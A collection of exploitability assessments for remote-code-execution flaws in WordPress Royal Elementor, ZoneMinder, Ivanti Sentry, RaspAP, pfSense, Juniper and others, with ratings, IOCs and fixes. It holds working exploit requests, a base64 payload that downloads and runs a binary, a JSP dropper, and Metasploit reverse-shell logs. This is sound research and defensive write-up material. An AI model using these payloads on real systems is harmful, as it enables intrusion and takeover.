The Royal Elementor Addons and Templates WordPress plugin provides themes and templates to make your WordPress site aesthetically pleasing with little effort. With over 200,000 installations it is quite popular making it a fantastic target for opportunistic attackers.

Versions prior to 1.3.79 are vulnerable to a file upload vulnerability which results in code execution as the user running the WordPress site. Once a WordPress site is configured to use the Addon the following action wpr_addons_upload_file listens for input on the /wp-admin/admin-ajax.php endpoint and is envokeable via a POST request. The action is accessible without authentication and fails to properly sanitize incoming file types. The endpoint won’t allow you to upload the .php file type however if you upload a PHP payload with the filetype .ph$p it bypasses the sanitization mechanism and allows you to drop a payload on the target.

Exploitation of the vulnerability is demonstrated in the following POST request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress.docksal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Content-Type: multipart/form-data; boundary=---------------------------612499444778935602855148342223
Content-Length: 1078

-----------------------------612499444778935602855148342223
Content-Disposition: form-data; name="uploaded_file"; filename="WmrRA8wI.ph$p"
Content-Type: application/octet-stream

<?php system(base64_decode('Y3VybCAtc28gLi92RVNIVllzd0p2dyBodHRwOi8vMTcyLjE2LjE5OS4xMzc6ODA4MC9rQW9vd3NKYnpVRER3X2FDbFg4RDhnOyBjaG1vZCAreCAuL3ZFU0hWWXN3SnZ3OyAuL3ZFU0hWWXN3SnZ3ICY='));?>
-----------------------------612499444778935602855148342223
Content-Disposition: form-data; name="action"

wpr_addons_upload_file
-----------------------------612499444778935602855148342223
Content-Disposition: form-data; name="max_file_size"

6395
-----------------------------612499444778935602855148342223
Content-Disposition: form-data; name="allowed_file_types"

ph$p
-----------------------------612499444778935602855148342223
Content-Disposition: form-data; name="triggering_event"

click
-----------------------------612499444778935602855148342223
Content-Disposition: form-data; name="wpr_addons_nonce"

aa1b436f01
-----------------------------612499444778935602855148342223--

This has been actively exploited in the wild for a while now with the first signs of exploitation dating back to December 2019.

IOCs

Malicious adversaries have been identified dropping reverse shells in the following two filenames:

b1ack.p$hp with md5sum: 1635f34d9c1da30ff5438e06d3ea6590
wp.ph$p with md5sum: ​​bac83f216eba23a865c591dbea427f22

That being said, I would be suspicious of any .ph$p file if the Royal Elementor Addons and Template plugin was being used in my WordPress site.

*Note: Updating the plugin to the patched version 1.3.79 won’t remove malicious payloads dropped by an attacker – so be sure to scan for unwanted footholds after patching.

The majority of the attacks appear to be coming from the following three IP Addresses:

65[.]21.22.78
2a01[:]4f9:3080:4eea::2
135[.]181.181.50

Attacker Value and Exploitation

• This is super easy to exploit.
  
• It’s an unauth RCE in an interfacing application with +200,000 active installations (it’s a big deal)
  
• Exploited in the wild
  
• The only reason I’d give it a 4/5 for Attack Value is because it doesn’t give privileged access.
  

LG Simple Editor is a solution that enables you to create and distribute content easily and quickly by using templates. LG Simple Editor is recommended for small businesses and sports bars which require simple content display or play-on-air via their signage. It enables easy new content creation by simplifying processes, and immediate playback on signage. Version prior to v3.21 suffer from two vulnerability specifically a broken access control and directory traversal that result in remote code execution in the context of NT AUTHORITY \SYSTEM

Vulnerable Versions

• <= v3.21
  

Attacker Value & Exploitability

This exploit scores 5/5 in both categories primarily due to the fact the exploit provides unauthenticated remote code execution in the context of NT AUTHORITY \SYSTEM. Other contributing factors are of course how it is vulnerable straight out of the box and how easy it is to exploit. It might not be as common in enterprise by nature of the product description above however I don’t think that should affect either of these ratings.

How it works

First start by exploiting the broken access control vulnerability (which at the time of writing does not have a CVE – it could be considered a feature). The endpoint /simpleeditor/imageManager/uploadImage.do will allow you to upload a file with the .bmp file extension of which the contents are not inspected thoroughly. In order to obtain remote code execution we can upload a malicious .jsp under the disguise of a .bmp file extension. The following .jsp payload (used by the metasploit module windows/http/lg_simple_editor_rce) first base64 decodes the raw bytes of a malicious executable, then writes the executable to a file, then runs the executable with Runtime.getRuntime().exe.

POST /simpleeditor/imageManager/uploadImage.do HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Content-Type: multipart/form-data; boundary=---------------------------761960311879735919883545313592
Content-Length: 99894

-----------------------------761960311879735919883545313592
Content-Disposition: form-data; name="uploadFile"; filename="SyouN.bmp"
Content-Type: image/bmp
Content-Transfer-Encoding: binary

    <%@page import="java.io.*" %>    <%@page import="sun.misc.BASE64Decoder"%>    <%    try {      String cXaet = "

    <<binary payload base64 encoded>> 

    ";      BASE64Decoder dHhlo = new BASE64Decoder();      byte[] aHZZzH = dHhlo.decodeBuffer(cXaet.toString());      File eplNCoYo = File.createTempFile("OXvZEnQ", ".exe");      String fbhUvbGUQZA = eplNCoYo.getAbsolutePath();      BufferedOutputStream bghnAwAsukY =        new BufferedOutputStream(new FileOutputStream(fbhUvbGUQZA));      bghnAwAsukY.write(aHZZzH);      bghnAwAsukY.close();      Process eVsTEolPjY = Runtime.getRuntime().exec(fbhUvbGUQZA);    } catch (Exception e) {    }    %>
-----------------------------761960311879735919883545313592
Content-Disposition: form-data; name="uploadPath"

/
-----------------------------761960311879735919883545313592
Content-Disposition: form-data; name="uploadFile_x"

-1000
-----------------------------761960311879735919883545313592
Content-Disposition: form-data; name="uploadFile_y"

-1000
-----------------------------761960311879735919883545313592
Content-Disposition: form-data; name="uploadFile_width"

1920
-----------------------------761960311879735919883545313592
Content-Disposition: form-data; name="uploadFile_height"

1080
-----------------------------761960311879735919883545313592--

Now we can exploit the vulnerability that is tied to CVE-2023-40498. The /simpleeditor/fileSystem/makeDetailContent.do endpoint allows unauthenticated users to copy files on the filesystem with no directory traversal mitigations in place. So we can copy our malicious .bmp file to a file with the extension .jsp so we can execute it (ezpz some might say). This can be achieved by issuing the following POST request:

POST /simpleeditor/fileSystem/makeDetailContent.do HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
X-Requested-With: XMLHttpRequest
Accept: application/json
Content-Type: application/json
Content-Length: 86

{"command":"cp","option":"-f","srcPath":"/SyouN_original.bmp","destPath":"/SyouN.jsp"}

The payload we uploaded is now in an executable file format in a directory accessible without authentication.

ZoneMinder is a free, open source Closed-circuit television software application. At the time of writing there appears to be just over 3200 identifiable instances listening on the internet according to the following crude Shodan query:

shodan count "http.html:\"<title>ZM - Login</title>\" http.html:\"/zm/\""
3237

ZoneMinder prior to the versions listed below suffer from an unauthenticated remote code execution vulnerability in default configuration. The vulnerability is trivial to execute and provides a valuable entry point for attackers.

Vulnerable Versions

Prior to 1.36.33
Prior to 1.37.33

How it works

By default on affected versions unauthenticated users can access the create snapshot action when accessing the following endpoint /zm/index.php. The following is an excerpt from snapshot.php

if ( $action == 'create' ) {
  if ( ! (isset($_REQUEST['monitor_ids']) and count($_REQUEST['monitor_ids']) > 0 ) ) {
    ZM\Error('No monitor ids given in snapshot creation request');
    return;
  }
  $snapshot = new ZM\Snapshot();

The snapshot action expects a monitor_id in order to fetch an existing monitor, however you can pass an object in order to create a new monitor instead (we will actually pass in a malicious payload here). Soon after the method TriggerOn(); is called in order to retrieve an event_id:

    $event_id = $monitor->TriggerOn();
    ZM\Debug("Have event $event_id for monitor $monitor_id");

TriggerOn() immediately calls the function AlarmCommand($cmd):

  function TriggerOn() {
    $output = $this->AlarmCommand('on');

Inside AlarmCommand a call to shell_exec is made and it appends the monitor_id we sent earlier without applying any sanitization to the parameter:

      $cmd = getZmuCommand($cmd.' -m '.validCardinal($this->{'Id'}));
      $output = shell_exec($cmd);

Exploiting the vuln.

Note that in order to exploit this vulnerability you have to first grab a csrf-token from the response body of a request to /zm/index.php:

<div class="container">
		<form class="center-block" name="loginForm" id="loginForm" method="post" action="?view=login"><input type='hidden' name='__csrf_magic' value="key:1b3da97bd640e57e0ce5dc6f5a09e7a1a9368004,1699900789" />
			<input type="hidden" name="action" value="login"/>
      <input type="hidden" name="postLoginQuery" value="" />

In the above example the token is 1b3da97bd640e57e0ce5dc6f5a09e7a1a9368004,1699900789. With that information you can then send the following post request to a vulnerable target in order to write a file to the temp directory:

POST /zm/index.php HTTP/1.1
Host: 192.168.65.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Content-Type: application/x-www-form-urlencoded
Content-Length: 268

view=snapshot&action=create&monitor_ids[0][Id]=;touch%20/tmp/pwnd&__csrf_magic=key:1b3da97bd640e57e0ce5dc6f5a09e7a1a9368004,1699900789

If you want to shell, edit the post request or use the metasploit module: unix/webapp/zoneminder_snapshots

References

https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr

Ajax.NET Professional better known as AjaxPro is an AJAX framework available for Microsoft ASP.NET. At the time of discovery of this deserialization RCE vulnerability, there were approximately 30,000 instances of AjaxPro in use. “Woah, scary! So many vulnerable instances” one might say, however do not be alarmed, this vulnerability is quite difficult to exploit.

Vulnerable versions (versions prior to 21.10.30.1) contain example classes which demonstrate how you might implement the functionality of AjaxPro. These classes are not actually used by the framework. However one class in particular, the “ICartService” demonstrates how to construct a configuration which is vulnerable to this deserialization vulnerability.

 1 namespace AjaxPro.Services
 2{
 3	[AjaxNamespace("AjaxPro.Services.Cart")]
 4	public abstract class ICartService
 5	{
 6        /// <summary>
 7        /// Adds the item.
 8        /// </summary>
 9        /// <param name="cartName">Name of the cart.</param>
10        /// <param name="item">The item.</param>
11        /// <returns></returns>
12		[AjaxMethod]
13		public abstract bool AddItem(string cartName, object item);
14
15        /// <summary>
16        /// Gets the items.
17        /// </summary>
18        /// <param name="cartName">Name of the cart.</param>
19        /// <returns></returns>
20		[AjaxMethod]
21		public abstract object[] GetItems(string cartName);
22	}
23}

If this example were to be hosted by the application it would allow us to gain remote code execution by sending the following get request:

POST /ajaxpro/AjaxPro.Services.ICartService,AjaxPro.2.ashx HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
X-AjaxPro-Method: AddItem
Content-Type: text/plain; charset=utf-8
Content-Length: 4670

{"item":{"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName":"Start","ObjectInstance":{"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","StartInfo":{"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","FileName":"cmd","Arguments":"/c powershell.exe <insert payload here>"}}}}

It is important to note what parameters in the codebase the attacker needs to be privy to in order to exploit this vulnerability as it is unlikely an origination would go out of its way to host this specific example. In order to exploit the attacker needs to know:

1. The Namespace, which is hosting the vulnerable Ajax Method.
   
2. The Method name, which is sent in the X-AjaxPro-Method header.
   
3. The Object name, which contains the payload that gets passed to the vulnerable deserialization.
   

Every vulnerable instance of AjaxPro will implement the three above parameters differently depending on what the application designed to do, unless of course the developers lazily copy and pasted this example without changing a thing which is possible. Take for example, this application which was built by @numanturle specifically for demonstrating this vulnerability:

namespace CVE_2021_23758_POC
{
    public partial class demo : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            AjaxPro.Utility.RegisterTypeForAjax(typeof(demo));
        }

        [AjaxPro.AjaxMethod]
        public static String TestAjax(Object obj)
        {
            UserInfo u = obj as UserInfo;
            return u.Name;
        }
    }
}

See how the Namespace (CVE_2021_23758_POC), Method (TestAjax) and Object (obj) are all different and application specific. This vulnerability is not feasibly exploitable from a black box perspective, you need information about how the vulnerable code has been implemented – this is reflected in the Attacker Value and exploitability ratings.

References

https://github.com/numanturle/CVE-2021-23758-POC/tree/main
https://github.com/michaelschwarz/Ajax.NET-Professional/
https://github.com/rapid7/metasploit-framework/pull/18494
https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/

This might be the most impactful CVSSv3 5.3 rated vulnerability you’ve ever (or never) heard about. The vulnerability affects Juniper’s SRX Firewalls and EX Switches and allows unauthenticated attackers to change environment variables resulting in remote code execution as the nobody user. I’m going to briefly go over the evolution of the research of this vulnerability as I found it interesting.

CVE-2023-36844 + CVE-2023-36845

The Juniper advisory was first analyzed by Sonny at watchtowr and they wrote a great blog outlining how they used this vulnerability along with CVE-2023-36844 in order to obtain RCE. CVE-2023-36844 is an arbitrary file upload function that exploits the do_upload function within the affected device. So what Sonny did was:

1. Use CVE-2023-36844 to upload a PHP file containing our shellcode

2. Use CVE-2023-36844 again to upload a second file, containing an auto_prepend_file directive instructing the PHP preprocessor to execute the file we uploaded in step 1

3. Use bug CVE-2023-36845 to set the PHPRC variable to the file we uploaded in step 2.

Just CVE-2023-36845

Using the clever research published by Sonny, Jacob Baines from Vuln Check posted a blog outlining how RCE can be obtained solely using CVE-2023-36845.

The affected Juniper devices use Appweb web server and when Appweb invokes a CGI script it passes arguments and environment variables in order for the script to access the users’s HTTP request. The body of the HTTP request is passed using stdin. Jacob noted that every FreeBSD process has access to their stdin by opening /dev/fd/0. So by sending an HTTP request, an attacker is able to introduce a “file”, /dev/fd/0 to the system.

So if the attacker set’s PHPRC equal to /dev/fd/0 and then uses the PHP function auto_prepend_file which causes the provided file to be added using the require function, in combination with allow_url_include which allows the use of URL-aware fopen wrappers. The attacker can then set auto_prepend_file equal to data://<payload_goes_here> so that the payload is provided inline and gets executed without ever being written to disk. Very cool.

Try this at home

There’s a great metasploit module available for this that can be found here and can be run like so:

msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set rhosts 192.168.0.247
rhosts => 192.168.0.247
msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set lhost 192.168.0.77
lhost => 192.168.0.77
msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > run

[*] Started reverse TCP handler on 192.168.0.77:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Environment variable manipulation succeeded indicating this target is vulnerable.
[*] Sending stage (39927 bytes) to 192.168.0.247
[*] Meterpreter session 4 opened (192.168.0.77:4444 -> 192.168.0.247:58995) at 2023-09-20 16:27:04 -0400

meterpreter > getuid
Server username: nobody
meterpreter > sysinfoi
[-] Unknown command: sysinfoi
meterpreter > sysinfo
Computer    : JUNOS
OS          : FreeBSD JUNOS JNPR-11.0-20200608.0016468_buil FreeBSD JNPR-11.0-20200608.0016468_builder_stable_11 #0 r356482+0016468ed6c(stable/11): Sun Jun  7 23:59:18 PDT 2020     builder@feyrith.juniper.net:/volume/build/junos/occam/llvm-5.0/sandbox-20200605/freebsd/
Meterpreter : php/freebsd
meterpreter >

References

https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
https://vulncheck.com/blog/juniper-cve-2023-36845

Description

Ivanti Sentry (formerly MobileIron Sentry) is vulnerable to an authentication by-pass which exposes API functionality which allows for code execution in the context of the root user. The vulnerable endpoint /mics/services/MICSLogService exposes a binary web service protocol, Hessian, which allows remote users to invoke functions within the target Sentry system.

One of the functions accessible via Hessian and the vulnerable endpoint is uploadFileUsingFileInput which accepts a command argument that gets directly fed into a Runtime.getRuntime().exec(cmd) call. The command is run in the context of the tomcat2 user however by default tomcat2 is able to execute commands with sudo thus we can use this to execute the payload in the context of the root user.

Attacker Value and Exploitability

For attacker’s this one is pretty juicy as it gives unauthenticated RCE in the context of the root users, it doesn’t get much better than that. Seeing CVE-2023-38035 being added to the KEV list only one day after it was published speaks volumes on the usefulness to malicious adversaries. To the attacker’s benefit there aren’t any definitive IoCs other than unrecognized HTTP requests to /services/* which should be cause for concern. The only saving grace is that a Shodan search for Ivanti Sentry targets on the internet only yielded around 500 vulnerable instances exposed at the time the vuln was disclosed.

Vulnerable Versions

Ivanti Sentry versions vulnerable to CVE-2023-38035:

• =< 9.18.0
  

Vulnerable Environment

A vulnerable MobileIron Sentry version 9.12.0-16 .vhd file can be downloaded from the following URL

Metasploit Module Demonstration

msf6 > use linux/http/ivanti_sentry_misc_log_service
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set rhosts 192.168.1.78
rhosts => 192.168.1.78
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set lhost 192.168.1.72
lhost => 192.168.1.72
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set fetch_srvhost 192.168.1.72
fetch_srvhost => 192.168.1.72
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > set verbose true
verbose => true
msf6 exploit(linux/http/ivanti_sentry_misc_log_service) > exploit
[*] Reloading module...

[*] Command to run on remote host: curl -so /tmp/ccrjHXsc http://192.168.1.72:8080/etRbFA76UzDRclkL8zrTdg; chmod +x /tmp/ccrjHXsc; /tmp/ccrjHXsc &
[*] Fetch Handler listening on 192.168.1.72:8080
[*] HTTP server started
[*] Adding resource /etRbFA76UzDRclkL8zrTdg
[*] Started reverse TCP handler on 192.168.1.72:4443
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Unix (In-Memory) for cmd/linux/http/x64/meterpreter_reverse_tcp
[*] Running the command: sudo curl -so /tmp/ccrjHXsc http://192.168.1.72:8080/etRbFA76UzDRclkL8zrTdg
[*] Client 192.168.1.78 requested /etRbFA76UzDRclkL8zrTdg
[*] Sending payload to 192.168.1.78 (curl/7.29.0)
[*] Running the command: sudo  chmod +x /tmp/ccrjHXsc
[*] Running the command: sudo  /tmp/ccrjHXsc &
[*] Meterpreter session 6 opened (192.168.1.72:4443 -> 192.168.1.78:40550) at 2023-08-29 14:27:57 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : CentOS 7.8.2003 (Linux 3.10.0-1160.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit

This is an unauthenticated command injection vulnerability in RaspAP, a wireless route software that runs on Debian-based devices. The vulnerable raspap-webgui application shouldn’t be configured to be internet facing which and is reflected in this assessment’s Attacker Value. Most endpoints on the application require a valid CSRF token to be accessed except for some, which include:

• /ajax/openvpn/activate_ovpncfg.php
  
• /ajax/openvpn/del_ovpncfg.php
  

These two endpoints accept a POST parameter cfg_id which gets run directly in a php exec() command without being sanitized. The vulnerable code can be seen below, or in full on the RaspAP raspap-webgui github

<?php

require_once '../../includes/config.php';
require_once '../../includes/functions.php';

if (isset($_POST['cfg_id'])) {
    $ovpncfg_id = $_POST['cfg_id'];
    $ovpncfg_client = RASPI_OPENVPN_CLIENT_PATH.$ovpncfg_id.'_client.conf';
    $ovpncfg_login = RASPI_OPENVPN_CLIENT_PATH.$ovpncfg_id.'_login.conf';

    // remove existing client config +login and symbolically link the selected one
    system("sudo rm ".RASPI_OPENVPN_CLIENT_CONFIG, $return);
    system("sudo ln -s $ovpncfg_client ".RASPI_OPENVPN_CLIENT_CONFIG, $return);

This vulnerability can be exploited with a simple POST request in order to inject the following command: touch /tmp/pwned

POST /ajax/openvpn/del_ovpncfg.php HTTP/1.1
Host: 172.16.199.130
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13.4; rv:109.0) Gecko/20100101 Firefox/114.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 642

cfg_id%3D%3Btouch%20%2Ftmp%2Fpwned%3B%23

Or if getting a shell is more your thing use the new Metasploit module to obtain a meterpreter session:

msf6 > use exploit/unix/http/raspap_rce 
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(unix/http/raspap_rce) > set rhosts 172.16.199.130
rhosts => 172.16.199.130
msf6 exploit(unix/http/raspap_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(unix/http/raspap_rce) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Unix Command with echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNo9UE1LxDAQPTe/IrckGMNmqZVdrCDiQUQEd28i0iajhqZpSLJaFf+7DVmcwwxv5s2bDzP6KSQcJzVA4t/W9LzvIjQ1jykcVOLJjIBep4BnbBwOnXsDKldsi6oUvhZfxbY0ixLomh/x7uH67mW3f7y5umeZJ9TkHKhEKZHnayEbITcbIQmvF2OZ0gfoBlTBrMCnrJ2Hi2gBPD1jyLZlJ3FwvlMDJZe3hEcRQH3QReBp9Yx0e8SWoc93YwFbcFSzC7vI6ZP/6mlJMwQzKJrPFhrUNPoAMdLyAdE3dU5qyEz+QyLZxl+G/gDVz18D\'\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -
[*] Sending stage (24772 bytes) to 172.16.199.130
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.130:48494) at 2023-08-14 20:38:21 -0400

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : debian
OS           : Linux 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-2 (2023-07-27)
Architecture : x64
Meterpreter  : python/linux
meterpreter > 

IOCs

Since this is exploiting a parameter in a POST request, you won’t see the payload in the logs. It might be worth searching for suspicious processes spawned by the user running the RaspAP application. The user www-data is running the RaspAP application in this case and after running the Metasploit module, due to the python payload selected by default, there is a suspicious/usr/bin/python3 command running in the context of the user www-data.

Before

msfuser@debian:~$ ps aux | grep www-data
www-data     866  0.0  0.1   5568  3804 ?        Ss   20:00   0:00 /usr/sbin/lighttpd -D -f /etc/lighttpd/lighttpd.conf
www-data     879  0.0  1.0 201008 21552 ?        Ss   20:00   0:00 /usr/bin/php-cgi
www-data     925  0.0  0.3 201008  5976 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data     928  0.0  0.3 201008  5976 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data     929  0.0  0.3 201008  5976 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data     930  0.0  0.3 201008  5976 ?        S    20:00   0:00 /usr/bin/php-cgi
msfuser     2786  0.0  0.1   6332  2012 pts/0    S+   20:03   0:00 grep www-data

After

msfuser@debian:~$ ps aux | grep www-data
www-data     866  0.0  0.1   5568  3804 ?        Ss   20:00   0:00 /usr/sbin/lighttpd -D -f /etc/lighttpd/lighttpd.conf
www-data     879  0.0  1.0 201008 21552 ?        Ss   20:00   0:00 /usr/bin/php-cgi
www-data     925  0.0  0.3 201008  5976 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data     928  0.0  0.6 201008 12404 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data     929  0.0  0.5 201008 11468 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data     930  0.0  0.3 201008  5976 ?        S    20:00   0:00 /usr/bin/php-cgi
www-data    2839  0.0  0.0      0     0 ?        Z    20:07   0:00 [sh] <defunct>
www-data    2846  1.3  1.5  43792 30976 ?        Ss   20:07   0:00 /usr/bin/python3 -
msfuser     2853  0.0  0.1   6332  2060 pts/0    S+   20:08   0:00 grep www-data

Notes

The initial PoC write up mentioned in the references below indicates the command injection will result in execution in the context of the root user. This is incorrect and depends on how the RaspAP application has been deployed.

References

https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2
https://github.com/rapid7/metasploit-framework/pull/18263

On March 17th, 2023 it was announced that pfSense firewalls versions 2.6.0 and below were vulnerable to an authenticated remote code execution vulnerability resulting in code execution in the context of the root user.

Authenticated users, from the /diag_backup.php endpoint, are able open and restore a backup pfSense configuration XML file:

The name of the configuration XML file is user configurable. In vulnerable versions the filename does not get sanitized properly before being used in an exec() command in the restore_rrddata function inside the file: /etc/inc/config.lib.inc.

The vulnerable exec() call can be seen below on line 288 which is an excerpt from the vulnerable version 2.6.0source code.

The following escapeshellarg patch has been applied:

exec("{$rrdtool} restore -f " . escapeshellarg($xml_file) . ' ' . escapeshellarg($rrd_file), $output, $status);

Attacker Value and Exploitation

As this requires authentication the attacker value isn’t super high although it could come in handy for a malicious actor as it provides root level access on pfSense – the ”World’s Most Trusted Open Source Firewall”. Exploitation is super straightforward once credentials are obtained.

Metasploit

Exploiting this vulnerability using metasploit is as easy as one-two-three (or “set rhosts”, “set lhost”, “run”)

msf6 > use unix/http/pfsense_config_data_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/http/pfsense_config_data_exec) > set rhosts 172.16.199.190
rhosts => 172.16.199.190
msf6 exploit(unix/http/pfsense_config_data_exec) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(unix/http/pfsense_config_data_exec) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target appears to be running pfSense version 2.5.1-RELEASE, which is unpatched!
[*] Command shell session 7 opened (172.16.199.1:4444 -> 172.16.199.191:55669) at 2023-07-12 14:48:15 -0400

id
uid=0(root) gid=0(wheel) groups=0(wheel)
uname -a
FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE 1b709158e581(RELENG_2_5_0) pfSense  amd64

Mitigation

Update pfSense to version 2.7.0 or higher.

Description

This is an interesting JNDI vulnerability in Apache Kafka Connect. An unauthenticated attacker can archive RCE by hosting a payload on a malicious LDAP server and tricking the Kafka server into connecting to it and deserializing the LDAP response. This allows the attacker to execute java deserialization gadgets chains of the Kafka server.

The Kafka Connect REST API on vulnerable instances allow attackers to set the database.history.producer.sasl.jaas.config connector property to "com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://attacker_server" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";". And “boom goes the dynamite” – with the right gadget chain you have RCE.

Attacker Rating and Exploitability.

Apache Kafka is middleware – it’s not an application that will be just sitting on the edge of a network like a Firewall or a VPN. Apache Kafka is used by other applications adding a layer of abstraction to the exploit process. Lots of applications use it and a list of application that use it can be found here. How those applications use Kafka could vary making the exploit process different in each product. Apache Druid however uses Kafka and affected versions are vulnerable out of the box!

Apache Druid

Apache Druid uses Apache Kafka Connect by default and there’s a metasploit module written to exploit this Kafka vulnerability on running inside Apache Druid. I tested this with the Metasploit module linked above and the provided docker container (image: vulhub/apache-druid:25.0.0). I received a shell running in the context of the root user.

Description

Multiple different components of RocketMQ including the NameServer, Broker, and Controller are by default leaked on the extranet of the network the system is operating within and are accessible without authentication. The vulnerability can be exploited by using the “update configuration” function to send arbitrary commands to the system which will be executed in the context of the user running the application.

Vulnerable Versions

Apache RocketMQ versions vulnerable to RCE (CVE-2023-33246):

• 5.1.0 – 5.0.0
  
• <= 4.9.5
  

Vulnerable Environment

A vulnerable environment can be spun up using the following docker commands. Both the NameServer and Broker containers are required:

docker pull apache/rocketmq:4.9.5
docker run --rm--name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run --rm --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf

Is Windows Vulnerable?

The short answer: no. Many blogs commented on the Unix PoC and all said “Apache RocketMQ ” is vulnerable without ever mentioning which platform it had to be running on. So I assumed Windows would be vulnerable as well and went out to try and exploit it.

The only difference between the exploitation paths on Windows and Unix is here in FilterServerManager.buildStartCommand(), where the command that is sent to Runtime.getRuntime().exec gets built:

        if (RemotingUtil.isWindowsPlatform()) {
            return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        } else {
            return String.format("sh %s/bin/startfsrv.sh %s",
                this.brokerController.getBrokerConfig().getRocketmqHome(),
                config);
        }

• Windows entry point Runtime.getRuntime().exec("start /b <PAYLOAD>")
  
• Unix entry point Runtime.getRuntime().exec("sh <PAYLOAD>")
  

When attempting to exploit the vulnerability on windows, in C:\Users\msfuser\logs\rocketmq\logs\broker.log I kept seeing the following error:

java.io.IOException: Cannot run program "start": CreateProcess error=2, The system cannot find the file specified

Even when attempting to run the happy path of updating the RocketMQ broker config, same error. That is because you can’t use the start command directly in the Runtime.getRuntime().exec() method in Java. The start command is a Windows-specific command and is not recognized by the Java runtime.

This is a bug in the RocketMQ implementation. I would have raised an issue with them regarding this had they not ripped out the entire functionality due to the emergence of the vulnerability I’m writing about.

You can try this at home with the following test class:

public class MyClass {

   public static void main(String[] args) {
      try {
         String[] cmdArray =  {"start", " /b", "C:\\Windows\\System32\\notepad.exe"};  
         Process process = Runtime.getRuntime().exec(cmdArray);
      } catch (Exception ex) {
         ex.printStackTrace();
      }
    }
}

Simply compile, execute and see the following error:

D:\rocketmq>javac MyClass.java
D:\rocketmq>java MyClass
java.io.IOException: Cannot run program "start": CreateProcess error=2, The system cannot find the file specified
        at java.lang.ProcessBuilder.start(Unknown Source)
        at java.lang.Runtime.exec(Unknown Source)
        at java.lang.Runtime.exec(Unknown Source)
        at MyClass.main(MyClass.java:9)
Caused by: java.io.IOException: CreateProcess error=2, The system cannot find the file specified
        at java.lang.ProcessImpl.create(Native Method)
        at java.lang.ProcessImpl.<init>(Unknown Source)
        at java.lang.ProcessImpl.start(Unknown Source)
        ... 4 more

Exploitation Details

